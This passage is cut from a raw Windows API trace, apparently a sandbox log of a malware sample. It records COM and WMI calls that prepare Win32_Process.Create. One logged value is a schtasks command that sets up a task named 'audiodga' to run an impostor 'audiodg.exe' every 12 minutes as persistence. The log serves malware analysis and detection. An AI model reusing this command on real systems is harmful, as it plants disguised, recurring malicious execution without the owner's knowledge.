This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0069.613] IUnknown:Release (This=0x111f638) returned 0x1 [0069.615] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11be990) returned 0x0 [0069.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x11be990, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0069.615] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11be990, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x119abe0) returned 0x0 [0069.615] WbemDefPath:IUnknown:Release (This=0x11be990) returned 0x0 [0069.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x119abe0) returned 0x0 [0069.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0069.616] WbemDefPath:IUnknown:AddRef (This=0x119abe0) returned 0x3 [0069.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0069.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0069.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11be9d0) returned 0x0 [0069.616] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11be9d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.616] WbemDefPath:IUnknown:Release (This=0x11be9d0) returned 0x3 [0069.616] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0069.616] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0069.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0069.617] WbemDefPath:IUnknown:Release (This=0x119abe0) returned 0x2 [0069.617] WbemDefPath:IUnknown:Release (This=0x119abe0) returned 0x1 [0069.617] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0069.617] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0069.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x119abe0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x119abe0) returned 0x0 [0069.617] WbemDefPath:IUnknown:AddRef (This=0x119abe0) returned 0x3 [0069.617] WbemDefPath:IUnknown:Release (This=0x119abe0) returned 0x2 [0069.617] WbemDefPath:IWbemPath:SetText (This=0x119abe0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0069.617] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b060, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0069.617] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0069.617] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.617] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0069.618] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0069.618] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0069.618] IUnknown:Release (This=0x111f638) returned 0x1 [0069.619] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11be910) returned 0x0 [0069.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x11be910, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0069.619] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11be910, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119ab20) returned 0x0 [0069.619] WbemDefPath:IUnknown:Release (This=0x11be910) returned 0x0 [0069.619] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119ab20) returned 0x0 [0069.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0069.620] WbemDefPath:IUnknown:AddRef (This=0x119ab20) returned 0x3 [0069.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0069.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0069.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11be950) returned 0x0 [0069.620] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11be950, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.620] WbemDefPath:IUnknown:Release (This=0x11be950) returned 0x3 [0069.620] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0069.620] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0069.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0069.620] WbemDefPath:IUnknown:Release (This=0x119ab20) returned 0x2 [0069.620] WbemDefPath:IUnknown:Release (This=0x119ab20) returned 0x1 [0069.620] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0069.620] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0069.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ab20, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119ab20) returned 0x0 [0069.620] WbemDefPath:IUnknown:AddRef (This=0x119ab20) returned 0x3 [0069.620] WbemDefPath:IUnknown:Release (This=0x119ab20) returned 0x2 [0069.620] WbemDefPath:IWbemPath:SetText (This=0x119ab20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0069.620] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119abe0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ab20, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetText (in: This=0x119ab20, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetText (in: This=0x119ab20, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0069.621] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119abe0) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ab20, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119ab20, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119ab20, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0069.621] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119abe0, uIndex=0x0, pszName="root") returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119ab20, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119ab20, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0069.621] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119abe0, uIndex=0x1, pszName="cimv2") returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetServer (in: This=0x119ab20, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetServer (in: This=0x119ab20, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetServer (in: This=0x119abe0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetServer (in: This=0x119abe0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetInfo (in: This=0x119abe0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b060, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b060, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119abe0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetText (in: This=0x119abe0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetText (in: This=0x119abe0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetText (in: This=0x119abe0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0069.621] WbemDefPath:IWbemPath:GetText (in: This=0x119abe0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0069.622] IWbemServices:GetObject (in: This=0x1bf01440, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bef5180, ppCallResult=0x0) returned 0x0 [0069.637] IWbemClassObject:GetMethod (in: This=0x1bef5180, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bef54f0, ppOutSignature=0x1b2fd9e0*=0x1bef5860) returned 0x0 [0069.637] IWbemClassObject:SpawnInstance (in: This=0x1bef54f0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf1aa50) returned 0x0 [0069.638] IWbemClassObject:Get (in: This=0x1bf1aa50, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2980ef0*=0, plFlavor=0x2980ef4*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2980ef0*=8, plFlavor=0x2980ef4*=32) returned 0x0 [0069.638] IWbemClassObject:Get (in: This=0x1bf1aa50, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2980ef0*=8, plFlavor=0x2980ef4*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2980ef0*=8, plFlavor=0x2980ef4*=32) returned 0x0 [0069.638] IWbemClassObject:Put (This=0x1bf1aa50, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"audiodga\" /sc MINUTE /mo 12 /tr \"'C:\\hyperWinhost\\audiodg.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0069.638] IWbemClassObject:Get (in: This=0x1bf1aa50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2980f80*=0, plFlavor=0x2980f84*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2980f80*=13, plFlavor=0x2980f84*=32) returned 0x0 [0069.638] IWbemClassObject:Get (in: This=0x1bf1aa50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2980f80*=13, plFlavor=0x2980f84*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2980f80*=13, plFlavor=0x2980f84*=32) returned 0x0 [0069.638] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bef4aa0) returned 0x0 [0069.638] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0069.638] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0069.639] IUnknown:AddRef (This=0x1bef4aa0) returned 0x3 [0069.639] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0069.639] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0069.639] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bef4aa8) returned 0x0 [0069.639] IMarshal:GetUnmarshalClass (in: This=0x1bef4aa8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0069.639] IUnknown:Release (This=0x1bef4aa8) returned 0x3 [0069.639] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0069.639] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0069.639] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0069.639] IUnknown:Release (This=0x1bef4aa0) returned 0x2 [0069.639] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0069.639] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0069.639] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0069.639] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0069.639] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0069.640] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0069.640] IUnknown:AddRef (This=0x1bef4aa0) returned 0x3 [0069.640] IWbemClassObject:Put (This=0x1bf1aa50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bef4aa0, varVal2=0x0), Type=0) returned 0x0 [0069.640] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119afa0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0069.640] WbemDefPath:IWbemPath:GetText (in: This=0x119afa0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0069.640] WbemDefPath:IWbemPath:GetText (in: This=0x119afa0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0069.640] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b060, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0069.640] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0069.640] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.640] WbemDefPath:IWbemPath:GetText (in: This=0x119afa0, lFlags=2, 